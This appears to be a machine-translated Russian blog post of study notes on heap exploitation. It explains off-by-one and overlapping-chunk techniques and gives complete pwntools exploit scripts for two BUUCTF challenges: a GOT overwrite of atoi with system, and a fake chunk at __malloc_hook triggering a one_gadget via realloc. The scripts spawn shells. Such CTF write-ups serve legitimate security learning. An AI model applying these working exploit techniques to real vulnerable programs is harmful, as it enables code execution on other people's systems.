Обмен технологиями

Об индивидуальном обучении

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Основы pwn все еще очень поверхностны. Я просто записываю часть своего опыта обучения.
По мере прохождения исследования будут добавляться дополнительные точки знаний и вопросы.

Очки знаний

Отличный учебный материал

Краткое изложение информации об отключении от ZIKH26 |

Расширение и перекрытие фрагментов | ctfwiki

Немного понимания

С отключением на единицу тесно связаны упомянутые выше расширения и перекрытия фрагментов.
Это часто называют «перекрывающимися блоками».
Зачем создавать перекрывающиеся блоки?
Например, если мы захотим переписать поле заголовка чанка, то есть сегменты prev_size и size, мы точно не сможем изменить его, применив напрямую.
Одна из идей — создать неуместный поддельный фрагмент. Другая, более простая идея — создать перекрывающиеся фрагменты. Изменяя бит размера, часть пользовательских данных большого фрагмента включает заголовок маленького фрагмента, который мы хотим изменить.

пример

[buu] hitcontraining_heapcreator

тема

Я думаю, что этот вопрос является хорошим примером того, как использовать по одному. Вопросы не очень сложные, а способы использования довольно умные.

Декомпилировать, чтобы найти лазейки,
изображение
Здесь есть искусственное отклонение на единицу, и сюда можно записать еще один байт.

Возвращаясь к распределению тем,изображение
Сначала выделяется фрагмент размером 0x10 для хранения некоторой информации, а затем фрагмент выделяется для контента.
Это будет очень ясно, если вы посмотрите на отладку GDB здесь.

Например, макет блока кучи после добавления(0x28,'0'),add(0x10,'1')
изображение

Вы можете видеть, что каждый раз, когда мы добавляем, мы сначала высвобождаем чанк, в котором хранится информация о блоке кучи, по младшему адресу, а затем высвобождаем фрагмент, в котором хранится контент.

Затем я заметил, что все операции редактирования и показа выполняются черезИнформация о блоке кучиструктуру в «индекс», тогда, если мы хотим слить libc, мы можем поместить информацию о блоке кучи этого фрагмента *content Поле модифицируется на адрес полученной таблицы определенной функции. Например, если в этом вопросе используется atoi, то atoi_addr будет распечатан во время показа.

Это связано с ситуацией, аналогичной предыдущей «Небольшому взаимопониманию». Мы не можем напрямую изменять содержимое чанка, который «хранит информацию о блоке кучи», поэтому мы можем более разумно использовать последовательность операций для реализации расширения блока кучи. .

Например, если мы изменим его таким образом, это действительно может привести к расширению и перекрытию блоков кучи.
изображение

О конкретном использовании поговорим ниже.

  1. Сначала нам нужно изменить блок кучи «информация о куче хранилища».размерчасть.
    Этот шаг может быть достигнут с помощью уязвимости «off-by-one» в стеке контента над этим стеком информации.
  2. Затем мы освобождаем индекс чанка, соответствующего этому блоку информационной кучи.
  3. В настоящее время в соответствии с реализацией delete_heap
    изображение

И блок кучи информации, и блок кучи контента будут бесплатными, поэтому в настоящее время в fastbins есть два контейнера размером 0x20 и 0x40.

изображение

  1. На данный момент мы добавляем фрагмент 0x30, и fastbin 0x40 будет применяться как блок стека контента, а блок информационного стека 0x20 будет применяться, поэтому контейнер 0x20 также будет применяться.

изображение

  1. Ключевым моментом этого вопроса является то, чтоинформационный блок Размер и содержимое соответствующего чанка определены! Следовательно, содержимое соответствующего блока информационной кучи может быть перезаписано на предыдущем этапе add(0x30). Таким образом, содержимое может быть изменено на таблицу atoi got, и show(1) может привести к утечке libc.
  2. Поскольку адрес содержимого chunk1 был изменен, edit(1) может изменить содержимое таблицы atoi got на системное, а затем отправить «/bin/shx00» для получения оболочки.

Конечно, есть некоторые детали, такие как последний упомянутый выбор размера 0x18 и 0x28, а также необходимость резервирования содержимого информационного стека при его изменении.размерполя (иначе окончательная версия не будет иметь достаточной длины для записи) и так далее.

Опыт:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

На самом деле в этом вопросе есть еще один ключевой момент, и именно он меня поначалу смутил. Первоначальное добавление chunk0 EXP Мастера ЗИКХ - 0x18. В моей практике изменение его на 0x10 или 0x20 не сработало, но изменение на 0x28 сработало.
Отладка обнаружила, что при изменении на 0x10, 0x20 наши пользовательские данные не включают следующий фрагмент.prev_sizeиз.
изображение

При выделении 0x18, 0x28 и т. д. механизм ptmalloc2 будет повторно использовать сегмент prev_size из next_chunk.
изображение

эммм, на самом деле, в конечном счете, я еще недостаточно знаком с кучей. В конце концов, просто взглянув на объяснение в вики, можно увидеть так много знаний, а детали сложны, что их трудно запомнить. Конечно, я сталкивался с этим в реальном бою. После того, как я сам его отлажу и пойму, станет намного лучше.

[буу] roarctf_2019_easy_pwn

тема

Ошибка в вопросе здесь.изображение

Когда a2-a1==10 находится в if, то есть когда размер, введенный при редактировании, ровно на 10 больше добавленного размера, происходит отклонение на единицу.

Примерная структура распределения
изображение

Или используйте сегмент bss для хранения информации об использовании и использовании фрагмента.*content

Мы все еще можем использовать Off-by-One в сочетании с характеристиками повторного использования размера 0x?8 prev_size для подделки prev_size и размера для запуска прямого (низкого адреса) слияния.
изображение

На данный момент вы можете видеть, что слияние инициируется free(2).
изображение

На данный момент, если мы добавим (0x80), а затем покажем (1), мы сможем распечатать значение main_arena+88.
изображение

Насколько я понимаю, здесь add(0x80) предназначен для разделения несортированного контейнера, чтобы указатель fd (main_arena+88) переместился в сегмент chunk1, который можно отобразить.

На этом этапе происходит утечка базового адреса libc.
Следующие операции выглядят так, как будто они включают в себя множество перекрывающихся блоков кучи, поэтому давайте посмотрим на пошаговую отладку.
Расположение кучи при утечке libc
изображение

add(0x68)
изображение
(Вырезаем кусок из неотсортированной корзины)

free(1)
(быстрый бин 0x70)
изображение

edit(2,p64(malloc_hook-0x23))
(Здесь мы воспользовались тем фактом, что чанк 2 адреса 0x68, запрошенный на предыдущем шаге, перекрывается с чаном 1, который был только что освобожден (для чанка 1 была запрошена вначале))
изображение

add(0x68)
(Применительно к чану1, на самом деле это чанк2)
изображение

add(0x68)
(Примените, чтобы вернуть fake_chunk по адресу malloc_hook-0x23)
изображение

Затем вам нужно использовать realloc для настройки кадра стека, и вы сможете получить оболочку.

Тогда я смогу дозвониться локально, но не удаленно.
Посмотрев опыт Мастера ЗИКХа, мне нужно использовать местный
realloc = libcbase + libc.sym['realloc']Изменить наrealloc = libcbase + 0x846c0
Затем вам нужно изменить значение one_gadget.
изображение

У этих двух one_gadgets сейчас смещение, не знаю почему. Может быть, это как-то связано с настройкой кадра стека? (Узнайте позже)

Играйте в локальный опыт:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

местный:
изображение

Дистанционно:
изображение


Подводя итог, это сложно.